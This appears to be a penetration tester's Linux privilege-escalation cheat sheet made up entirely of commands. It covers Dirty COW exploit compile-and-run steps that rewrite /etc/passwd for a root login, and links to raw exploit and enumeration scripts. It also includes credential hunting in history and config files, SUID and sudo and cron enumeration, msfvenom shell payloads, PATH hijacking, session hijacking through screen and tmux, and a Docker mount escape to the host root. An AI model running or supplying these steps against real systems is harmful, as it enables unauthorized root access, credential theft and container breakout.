https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh
https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh
# vulnerable kernel versions: 2.6.22 - 4.8.3, 4.7.9, 4.4.26
uname -a
gcc -pthread 40611.c -o dirtyc0w
./dirtyc0w /etc/passwd "<user>:$(openssl passwd -1 -salt <user> <password>):0:0:root:/bin/bash" &
su <user>
gcc -pthread 40839.c -o dirty -lcrypt
./dirty <password> /etc/passwd
su firefart
https://gist.githubusercontent.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c
gcc cowroot.c -o cowroot -pthread
./cowroot
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
./dcow -s
id || (whoami && groups) 2>/dev/null
cat /etc/passwd | cut -d ":" -f 1
awk -F: '($3 == "0") {print}' /etc/passwd
grep -lRi "password" /home /var/www /var/log 2> /dev/null | sort | uniq
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/
find / -type f -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" 2>/dev/null
gpg --list-keys
find / -perm -u=s -type f 2>/dev/null
find / -perm +4000 -type f 2>/dev/null
find / -perm /2000 -ls 2>/dev/null
find / -perm +8000 -ls 2>/dev/null
strings <binary>
msfvenom -p linux/x86/exec CMD=/bin/sh -f elf -o <file>
msfvenom -p linux/x64/exec CMD=/bin/sh -f elf -o <file>
chmod 755 <file>
export PATH=/tmp:$PATH
sudo -l
grep '^sudo:.*$' /etc/group | cut -d: -f4
sudo -l -U sk
crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
grep "CRON" /var/log/cron.log
ls -l /etc/init.d
systemctl list-timers --all
find / -path /proc -prune -o -perm -2 ! -type l -ls 2> /dev/null
find / -writable -type d ! -type l -ls 2>/dev/null
find / -path /proc -prune -o -nouser -o -nogroup 2> /dev/null
screen -ls
screen -dr <session>
tmux ls
tmux a -t <sessions>
find / -name docker.sock 2>/dev/nul
docker images
docker run -it -v /:/host/ <dockerImage> chroot /host/ bash
uname -a
cat /etc/issue
cat /etc/*-release
cat /proc/version
lsmod
/sbin/modinfo <module>
bash /usr/share/linux-exploit-suggester/linux-exploit-suggester.sh -u <uname -a>
searchsploit linux kernel <version>
https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md